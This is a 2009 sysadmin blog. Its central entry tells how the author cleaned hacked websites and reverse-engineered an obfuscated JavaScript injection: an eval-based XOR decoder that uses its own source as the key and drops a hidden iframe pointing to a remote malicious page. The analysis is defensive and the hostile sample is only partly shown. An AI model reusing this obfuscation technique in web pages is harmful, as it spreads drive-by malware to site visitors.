The Boston Diaries

The ongoing saga of a programmer who doesn't live in Boston, nor does he even like Boston, but yet named his weblog/journal “The Boston Diaries.”

Go figure.

Saturday, August 29, 2009

My boss is no longer allowed to take vacations

Let me say this up front: Smirk is no longer allowed to take vacations, work related or otherwise.

Early this morning (around 5:00 am) I had to deal with a downed machine in The Data Center In Charlotte. That involved calling said Data Center (long distance, because there was an issue with their 800 number) and walk a technician through running fsck on a corrupted file system.

Then this evening (around 5:00 pm) I had to deal with a downed data center in The Data Center in Boca Raton (yes, that sounds silly, but if customers who get their Internet connection through our Data Center In Boca Raton can't get out to the Internet, and when we can't get in to The Data Center In Boca Raton from the Internet, then we have to assume the worst—that al-Qaeda took out the site from orbit, just to make sure). This involved several frantic calls between Smirk, R (a customer and partner of ours) and Dan the Network Engineer, and a five minute drive through a thunderstorm (I wasn't worried about being struck because, as everybody knows, being struck by lightning, along with getting bit by a radioactive spider, being caught in a gamma radiation blast, or getting washed with nuclear waste, confers superhero abilities in a person) to find a rather confused UPS on battery mode (with full battery power) but not supplying power to the devices plugged into it (go figure).

The last time bad things like this happened, Smirk and I were on a business trip, and the only common element between the two times—Smirk was out of town.

Oh wait … that was in August as well.

Hmm … perhaps August should be cancelled.

Nah, Smirk is not allowed to take vacations.

Sunday, August 30, 2009

Down the rabbit hole

So far, three for three. A downed server, a downed data center and now several hacked sites, all on the same server.

I swear, Smirk is never going on vacation again.

Anyway, the following ticket comes in:

Subject: URGENT - XXXXXXXXXXXXXXX - VIRUS alert

Hello support,

When trying to access the site it gives a virus alert and Norton would not let me download the files to clean them.

Are you able to do the cleaning, it seems as it is since December 2008, when the sever was upgraded, it is very strange. I you are able to help cleaning the files, or any other way that you can suggest for the cleaning of them would be very helpful …

Thanks a lot,
XXXXXX

(English is not XXXXXX's first language)

I check the site with no problem, but then again, I'm using Linux and Mac OS X and therefore, I don't use Norton (or any virus checking software) so I'm not going to see an issue. I borrow Bunny's laptop (which does run Windows and has anti-viral software on it) and yes, there's something odd with the site. It refuses to come up, and I can't ping the address the site is on. I can ping the address above and the address below, but not the address the site is on. And the anti-virual software is not saying anything.

Thanks to some help from Gregory, I'm able to see that yes, indeed, the anti-viral software on Bunny's machine caught something and is refusing to load the site. At least now I have somewhere to look. And I don't have to look very far.

At the bottom of the index.html file is:

<div id='x0499fd3b522511d0bf02ea0f9d3f27f9e'>
<script>
var jQuery = eval('wPi[n2d[o[w5.5e2v[aflP'.replace(/[\[P5f2]/g, ''));
jQuery('\x66\x75\x6e\x63\x74\x69\x6f\x6e\x20\x79\x61...

All on a single line (not broken up like it is here) for about 20K of obfuscated code. And it exists on every HTML and PHP page on not only the site in question, but two other sites as well (it's on a machine dedicated to the one customer and there are about six sites on the server).

There ended up being too many files to clean up by hand, so a bit of coding later, and I have a program to do the cleanup work. And then the fun begins …

The first statement of the malicious code in question ends up being:

var jQuery = eval('window.eval','');

That was easy enough. The next line required some code to decode the sludge of hex numbers into characters. Again, quickly write some code and I end up with:

function yaqD5(jx1h7){function oNLAq(aui){var s429=0;var fyLx=aui.length;var sLc
8=0;while(sLc8<fyLx){s429+=xjv3(aui,sLc8)*fyLx;sLc8++;}return (s429+'');}functio
n xjv3(vMAgS,iEI4P){return vMAgS.charCodeAt(iEI4P);}   try {var xhFV=eval('a5rMg
5u}m5eMn}t}s5.5cMaQl5lQe>e>'.replace(/[5\}M\>Q]/g, '')),oZAH='';var hDe=0,wTrzNs
d=0,zfx0eN=(new String(xhFV)).replace(/[^@a-z0-9A-Z_.,-]/g,'');var bkTnW7=oNLAq(
zfx0eN);jx1h7=unescape(jx1h7);for(var sFme6r=0; sFme6r < (jx1h7.length); sFme6r+
+){var ynhg=xjv3(zfx0eN,hDe)^xjv3(bkTnW7,wTrzNsd);var wUJNWv=xjv3(jx1h7,sFme6r);
hDe++;wTrzNsd++;if(wTrzNsd>bkTnW7.length)wTrzNsd=0;if(hDe>zfx0eN.length)hDe=0;oZ
AH+=String.fromCharCode(wUJNWv^ynhg) + '';}eval(oZAH); return oZAH=new String();
}catch(e){}}yaqD5('%32%38%35%37%36%33%35%30%59%27%1e%37%53%2a%31%47%0b%7f%15%65%
72%2f%3f%61%2e%09%29%2d%02%0e%05%04%0e%1d%68%11%32%24%75%6a%7b%7a%33%34%52%69%61
%02%2c%38%29%37%77%09%19%37%3f%26%64%62%33%21%12%18%3e%6f%63%29%7c%70%3b%00%35%3
2%2...

Yet more encoded data, about 4K worth this time. Quick program to decode this sequence of hexadecimal sludge and I get:

28576350Y'7S*1G
               er/?a.   )-h2$uj{z34Ria,8)7w     
    7?&db3!>oc)|p;nR.}2;l.'ij.3

Obviously the cryptic JavaScript code does some additional massaging on that data. So I clean up the JavaScript code a bit:

function yaqD5(jx1h7)
{
  function oNLAq(aui)
  {
    var s429=0;
    var fyLx=aui.length;
    var sLc8=0;
    while(sLc8<fyLx)
    {
      s429 += xjv3(aui,sLc8)*fyLx;
      sLc8++;
    }
    return (s429+'');
  }

  function xjv3(vMAgS,iEI4P)
  {
    return vMAgS.charCodeAt(iEI4P);
  }   

  try 
  {
    var xhFV=eval('a5rMg5u}m5eMn}t}s5.5cMaQl5lQe>e>'.replace(/[5\}M\>Q]/g, '')),oZAH='';
    var hDe=0,wTrzNsd=0,zfx0eN=(new String(xhFV)).replace(/[^@a-z0-9A-Z_.,-]/g,'');
    var bkTnW7=oNLAq(zfx0eN);
    
    jx1h7=unescape(jx1h7);
    
    for(var sFme6r=0; sFme6r < (jx1h7.length); sFme6r++)
    {
      var ynhg=xjv3(zfx0eN,hDe)^xjv3(bkTnW7,wTrzNsd);
      var wUJNWv=xjv3(jx1h7,sFme6r);
      hDe++;
      wTrzNsd++;
      if(wTrzNsd>bkTnW7.length) wTrzNsd=0;
      if(hDe>zfx0eN.length) hDe=0;
      oZAH+=String.fromCharCode(wUJNWv^ynhg) + '';
    }

    eval(oZAH); 
    return oZAH=new String();
  }

  catch(e){}
}

yaqD5('%32%38%35 ... [some 4,000 characters later ] ... %31%32');

Okay, it converts the hexadecimal sludge to binary data, then does something to it and finally evaluates the resulting data as JavaScript. I rewrite this a bit so that instead of evaluating the resulting string it prints the results out and I get:

f{lcvmhl tYDQt~DQHA&+{ sUFQxxCQLF,pravov}wg =.ycmklkeN ...

That certainly doesn't look like valid JavaScript to me. Okay, let's clean up some of the code a bit more (and only showing the relevant bits):

xhFV = eval('arguments.callee','')
zfx0eN=(new String(xhFV)).replace(/[^@a-z0-9A-Z_.,-]/g,'')

From single stepping this (Firebug is great for this type of thing) it appears that arguments.callee returns the actual function, with parameters, being called, and placed into xhFV, and then zfx0eN is the source code of the function being called (in this case, yadD5()), but the source code is the actual string representation as it appears in the HTML file! And this string was being used to transform the binary sludge into JavaScript.

So no wonder I was getting garbage, because I changed the source code!

Sheesh.

Once I use the actual source code as the “decryption key” I finally reach the bottom of this particular rabbit hole. The code (which still has code like s='<Eh]t;mElu>;<]b]o]dEy]>]'.replace(/[;\]rEu]/g, '') but that's about it) sets a cookie, then makes an invisible IFRAME which pulls a page (from a non-working site) that presumedly contains even nastier code yet.

I wasn't fond of dynamic languages before tonight's little trip, and afterwards, I like them even less. I'm fully aware that I might be overreacting here, wanting to toss out eval() with the JavaScript bathwater, but I seriously can't see what benefit comes with allowing unrestricted use of eval() in browser-based JavaScript engines.

Perhaps someone can enlighten me.

Monday, August 31, 2009

If this keeps up, I may have to physically drag Smirk back to the office

Four for four. Today's issue was a non-responsive DNS resolver in The Data Center In Boca Raton. It may have been left over from the UPS incident the other day (we have redundant DNS resolvers and there's a known issue with the monitoring system triggering false reports on that one resolver).

But still … this is getting ridiculous.


“What if you mix the mayonnaise in the can, WITH the tunafish? Or … hold it! Chuck! I got it! Take LIVE tuna fish, and FEED 'em mayonnaise! Oh this is great.”

Those USP devices you buy for your computer usually have a gel-cell battery that lasts for a few years. Less if your power goes out a lot. When you replace them, you pay a bundle, even if it's a standard cell. This short Instructable will demonstrate how to rework an older USP for more capacity with cheaper battery power.

Via Hacker News, Rework a USP with Massive Capacity

Sounds like a neat idea, but it got me thinking—wouldn't it be better if the USP could power the computer directly with DC? Our Cisco switches can take a direct 12V power supply, and pretty much all computer power supplies convert AC 120V to ±12V and ±5V (or is it ±3.3V these days?—I haven't kept up) and there are any number of devices (like the wireless router, the DSL modem, the VoIP phone) that all have these huge wall worts that are hard to find space to plug in that all work off of 12V as well. I would think it would be a no-brainer to make a USP do the conversion work and feed the devices DC directly, instead of converting 12VDC power into 120VAC power only to have it converted back to 12V/5VDC power.

Obligatory Picture

An abstract representation of where you're coming from]

Obligatory Contact Info

Obligatory Feeds

Obligatory Links

Obligatory Miscellaneous

Obligatory AI Disclaimer

No AI was used in the making of this site, unless otherwise noted.

You have my permission to link freely to any entry here. Go ahead, I won't bite. I promise.

The dates are the permanent links to that day's entries (or entry, if there is only one entry). The titles are the permanent links to that entry only. The format for the links are simple: Start with the base link for this site: https://boston.conman.org/, then add the date you are interested in, say 2000/08/01, so that would make the final URL:

https://boston.conman.org/2000/08/01

You can also specify the entire month by leaving off the day portion. You can even select an arbitrary portion of time.

You may also note subtle shading of the links and that's intentional: the “closer” the link is (relative to the page) the “brighter” it appears. It's an experiment in using color shading to denote the distance a link is from here. If you don't notice it, don't worry; it's not all that important.

It is assumed that every brand name, slogan, corporate name, symbol, design element, et cetera mentioned in these pages is a protected and/or trademarked entity, the sole property of its owner(s), and acknowledgement of this status is implied.

Copyright © 1999-2024 by Sean Conner. All Rights Reserved.